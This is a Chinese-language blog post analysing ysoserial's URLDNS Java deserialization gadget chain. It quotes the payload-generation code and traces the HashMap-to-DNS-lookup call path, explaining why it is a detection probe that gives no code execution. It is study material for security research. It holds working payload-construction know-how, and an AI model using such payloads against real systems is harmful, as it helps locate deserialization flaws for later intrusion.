YsoSerial 工具常用Payload分析之URLDNS

9eek發表於2021-07-23

ysoserial

本文假設你對Java基本資料結構、Java反序列化、高階特性(反射、動態代理)等有一定的瞭解。

背景

YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基於多種環境的反序列化EXP。java -jar ysoserial.jar 可以直接檢視payload適用環境及其適用版本。

image-20210721172218101

關於此工具的背景,我引用P神的《Java安全漫遊》文章對其的描述:

2015年Gabriel Lawrence (@gebl)和Chris Frohoffff (@frohoffff)在AppSecCali上提出了利⽤Apache Commons Collections來構造命令執⾏的利⽤鏈,並在年底因為對Weblogic、JBoss、Jenkins等著名應⽤的利⽤,⼀⽯激起千層浪,徹底開啟了⼀⽚Java安全的藍海。⽽ysoserial就是兩位原作者在此議題中釋出的⼀個⼯具,它可以讓⽤戶根據⾃⼰選擇的利⽤鏈,⽣成反序列化利⽤資料,通過將這些資料傳送給⽬標,從⽽執⾏⽤戶預先定義的命令。

下載工具原始碼發現主要payload生成邏輯都在ysoserial.payloads包下面:

image-20210721173341240

接下來主要針對 URLDNS、 CommonCollections1-7、CommonsBeanutils 利用鏈進行分析:

URLDNS

URLDNS 是要介紹的幾條鏈中呼叫邏輯最簡單的一條,所以以這條鏈開始。我們來看看yso是怎麼寫的

public Object getObject(final String url) throws Exception {
                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
}

getObject方法就是獲取最後的利用類,return的是一個以精心構造的URL物件為key,url字串為值的hashMap,除錯一下看下呼叫鏈。

image-20210721192804204

HashMap.readOject -> HashMap.hash() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress()(獲取url的dns地址)

  1. HashMap.readOject()

readObject中有讀取key,然後對key進行hash操作,從yso程式碼得知,hashmap的key為精心構造的URL物件

private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
 
....
....
            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }
  1. HashMap.hash()

跟進hash,裡面呼叫了URL物件的hashCode()方法。

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }
  1. URL.hashCode()

URL物件的存在預設的私有hashCode變數其值為-1,所以會呼叫yso程式碼中URL物件構造方法的第三個引數,URLStreamHandler的hashcode。

  public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
  }
    private int hashCode = -1;
  1. URLStreamHandler.hashCode()

然後呼叫URLStreamHandler的getHostAddress()方法

protected int hashCode(URL u) {

   
...
        // Generate the host part.
        InetAddress addr = getHostAddress(u);
 ...

        return h;
    }
  1. URL.getHost()

getHost 就會發起對應url的請求,後續就不用再跟了。

rotected synchronized InetAddress getHostAddress(URL u) {
...
        String host = u.getHost();
...
        return u.hostAddress;
    }

以上就是URLDNS的呼叫邏輯,但是在yso中還是有兩個點值得我們注意:

  1. Reflections.setFieldValue(u, "hashCode", -1); 這一行程式碼是幹嘛的,是多餘的嗎?
  2. 為什麼SilentURLStreamHandler 會實現兩個空方法?

首先第一個問題,這一行程式碼是幹嘛的,為什麼要將URL物件中的hashcode通過反射的方式設定為-1呢,URL物件中的hash code本身就是-1,為什麼要這麼做?

image-20210721200359928

​ 其實通過程式碼中的註釋我們也能知道,在hashMap進行put操作時,會呼叫hash()方法,進而完成了一次類似反序列化的呼叫,handler呼叫hashcode()方法時也會將預設的hashCode值進行重新計算,所以put()完,本身的hashCode已經不為-1了,所以反序列就不會在繼續執行handler.hashCode(this),也就沒發觸發DNS請求。

  public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
  }

第二個問題,其實和第一個問題一樣,在put時也會進行一次hash()呼叫從而進行一次dns請求,為了避免在生成payload物件時候發起dns請求,所以繼承了URLStreamHandler,實現getHostAddress、openConnection兩個方法進行空操作,進而在生產payload物件時就不會發器dns請求了。

剛開始看到這裡的時候我比較疑惑,重寫了這兩個方法到時候在使用這個payload去利用的時候不就沒發正常發起DNS請求了嗎,那這樣做意義何在?原來我忽略了一個東西,在URL類中,URLStreamHandler被transient關鍵字標記,transient標記的屬性在序列化時不會帶入序列化的資料裡面,這樣在生成payload或者除錯的時候不會發起DNS請求,但又不影響payload的正常使用,非常巧妙。

image-20210721202146438

總結

URLDNS是一個不需要依賴其他包的反序列化利用,且呼叫過程比較簡單,只會在HashMap與StreamHandler之間呼叫,稍微需要注意的也就是亮點,一個為什麼要將hashcode最後通過反射的方式置為-1,另一個是為什麼重寫過StreamHandler兩個方法為空操作後仍然能在凡序化後正常發起dns請求。

雖然URLDNS這條鏈很簡單,但其實它做不了什麼,僅僅只能幫助我們判斷這個地方可能存在使用者可控的凡序列化問題,仍然不能進行進一步的利用,那要怎麼才能利用乃至RCE呢? 下一專題Common-collections1 就來幫助我們解決這個問題。

相關文章